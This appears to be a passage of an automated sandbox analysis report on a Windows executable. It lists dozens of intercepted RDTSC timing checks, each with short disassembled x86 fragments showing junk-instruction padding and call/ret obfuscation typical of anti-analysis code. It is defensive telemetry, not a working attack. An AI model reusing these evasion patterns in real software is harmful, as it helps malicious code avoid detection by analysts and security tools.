Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B5B6CB second address: B5B740 instructions: 0x00000000 rdtsc 0x00000002 js 00007F43610807ACh 0x00000008 jng 00007F43610807A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop eax 0x00000011 jmp 00007F43610807B4h 0x00000016 push 00000003h 0x00000018 mov esi, dword ptr [ebp+122D1C20h] 0x0000001e mov dh, ah 0x00000020 push 00000000h 0x00000022 mov dword ptr [ebp+122D18F7h], edx 0x00000028 push 00000003h 0x0000002a mov dword ptr [ebp+122D1C46h], eax 0x00000030 push D5E14EFDh 0x00000035 jmp 00007F43610807B6h 0x0000003a xor dword ptr [esp], 15E14EFDh 0x00000041 mov esi, eax 0x00000043 lea ebx, dword ptr [ebp+124570A1h] 0x00000049 push edi 0x0000004a pop ecx 0x0000004b mov di, E6F1h 0x0000004f push eax 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B5B740 second address: B5B744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B5B744 second address: B5B75B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B6CFF2 second address: B6CFF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B6CFF6 second address: B6D006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B4E53F second address: B4E56D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F43610E8A83h 0x0000000b jo 00007F43610E8A76h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jbe 00007F43610E8A76h 0x0000001a jo 00007F43610E8A76h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B4E56D second address: B4E581 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807B0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7A336 second address: B7A349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F43610E8A76h 0x0000000d jo 00007F43610E8A76h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7A349 second address: B7A34D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7A34D second address: B7A36D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F43610E8A76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007F43610E8A7Ah 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a jnl 00007F43610E8A76h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7A36D second address: B7A377 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F43610807A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7A50C second address: B7A510 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7A510 second address: B7A51F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F43610807A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7A51F second address: B7A52E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7A52E second address: B7A542 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F43610807B2h 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7A654 second address: B7A65C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7A65C second address: B7A674 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807AEh 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F43610807A6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7A80A second address: B7A81A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 je 00007F43610E8A76h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7A81A second address: B7A82D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F43610807ACh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7A974 second address: B7A97A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7A97A second address: B7A97E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7AAFA second address: B7AB0A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007F43610E8A76h 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7AB0A second address: B7AB15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F43610807A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7AB15 second address: B7AB1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7AB1F second address: B7AB35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43610807B0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7B0B3 second address: B7B0C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7B21D second address: B7B226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B710F9 second address: B710FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7B96B second address: B7B97E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F43610807A6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7B97E second address: B7B9AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F43610E8A89h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7BC2C second address: B7BC32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7BD6B second address: B7BD83 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F43610E8A7Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7BD83 second address: B7BD8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F43610807A6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7C051 second address: B7C05D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jne 00007F43610E8A76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7C05D second address: B7C077 instructions: 0x00000000 rdtsc 0x00000002 je 00007F43610807AEh 0x00000008 jl 00007F43610807AEh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B7C077 second address: B7C09D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F43610E8A8Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B80186 second address: B8018B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B3F435 second address: B3F44C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F43610E8A82h 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8741C second address: B87422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8699B second address: B869A1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B86ADB second address: B86B11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F43610807ACh 0x0000000c popad 0x0000000d pushad 0x0000000e jbe 00007F43610807A8h 0x00000014 jmp 00007F43610807B4h 0x00000019 push eax 0x0000001a push edx 0x0000001b push edi 0x0000001c pop edi 0x0000001d push esi 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B86B11 second address: B86B15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B86B15 second address: B86B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B86B1B second address: B86B24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B86C93 second address: B86C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B86C99 second address: B86C9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B86C9D second address: B86CA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8AC17 second address: B8AC32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43610E8A7Fh 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8ACEE second address: B8ACF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8ACF2 second address: B8AD0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8B357 second address: B8B38F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F43610807B7h 0x00000008 je 00007F43610807A6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F43610807B0h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8B38F second address: B8B395 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8B395 second address: B8B39A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8B42C second address: B8B436 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F43610E8A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8B436 second address: B8B45F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F43610807A8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebx 0x0000000f jne 00007F43610807A6h 0x00000015 nop 0x00000016 jmp 00007F43610807ADh 0x0000001b push eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8B45F second address: B8B463 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8B6EE second address: B8B6F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8B796 second address: B8B7A9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c jnc 00007F43610E8A76h 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8B9A6 second address: B8B9AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8BE2E second address: B8BE32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8BEEF second address: B8BF10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jmp 00007F43610807B6h 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8C777 second address: B8C77D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8C77D second address: B8C7AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F43610807B8h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jmp 00007F43610807AAh 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8E42D second address: B8E4A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F43610E8A78h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 mov di, cx 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push edx 0x0000002b call 00007F43610E8A78h 0x00000030 pop edx 0x00000031 mov dword ptr [esp+04h], edx 0x00000035 add dword ptr [esp+04h], 0000001Dh 0x0000003d inc edx 0x0000003e push edx 0x0000003f ret 0x00000040 pop edx 0x00000041 ret 0x00000042 push edi 0x00000043 mov di, bx 0x00000046 pop edi 0x00000047 push 00000000h 0x00000049 add esi, 4B0BA821h 0x0000004f xchg eax, ebx 0x00000050 je 00007F43610E8A7Eh 0x00000056 jo 00007F43610E8A78h 0x0000005c pushad 0x0000005d popad 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8E4A8 second address: B8E4AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8E4AC second address: B8E4B6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F43610E8A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8E25A second address: B8E26D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jbe 00007F43610807A6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8EC87 second address: B8EC8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8EC8C second address: B8ECA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F43610807B1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8FA41 second address: B8FAB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F43610E8A78h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 mov esi, dword ptr [ebp+122D18CEh] 0x0000002a push 00000000h 0x0000002c mov dword ptr [ebp+122D17B2h], ecx 0x00000032 push 00000000h 0x00000034 add dword ptr [ebp+122D18C2h], edi 0x0000003a xchg eax, ebx 0x0000003b jmp 00007F43610E8A89h 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 push edi 0x00000044 jmp 00007F43610E8A7Dh 0x00000049 pop edi 0x0000004a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B902D3 second address: B902DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B955F9 second address: B95679 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov bh, cl 0x0000000c push 00000000h 0x0000000e jmp 00007F43610E8A85h 0x00000013 mov edi, 19F48491h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F43610E8A78h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 mov ebx, dword ptr [ebp+122D359Bh] 0x0000003a mov ebx, dword ptr [ebp+122D2620h] 0x00000040 push eax 0x00000041 pushad 0x00000042 jns 00007F43610E8A7Ch 0x00000048 push eax 0x00000049 push edx 0x0000004a jns 00007F43610E8A76h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B95679 second address: B9567D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B96632 second address: B96636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9489F second address: B948AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 pop edi 0x00000009 popad 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B984B4 second address: B984BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9761D second address: B9762B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9762B second address: B97630 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B99499 second address: B994AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F43610807A8h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9863C second address: B98651 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F43610E8A78h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push esi 0x00000013 pop esi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B994AA second address: B9953E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F43610807ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F43610807A8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 jmp 00007F43610807B1h 0x0000002a mov dword ptr [ebp+122D1F71h], edx 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 call 00007F43610807A8h 0x0000003a pop ebx 0x0000003b mov dword ptr [esp+04h], ebx 0x0000003f add dword ptr [esp+04h], 0000001Ah 0x00000047 inc ebx 0x00000048 push ebx 0x00000049 ret 0x0000004a pop ebx 0x0000004b ret 0x0000004c xor dword ptr [ebp+122DB520h], esi 0x00000052 jl 00007F43610807ACh 0x00000058 sub dword ptr [ebp+12484029h], edx 0x0000005e push 00000000h 0x00000060 jmp 00007F43610807B0h 0x00000065 push eax 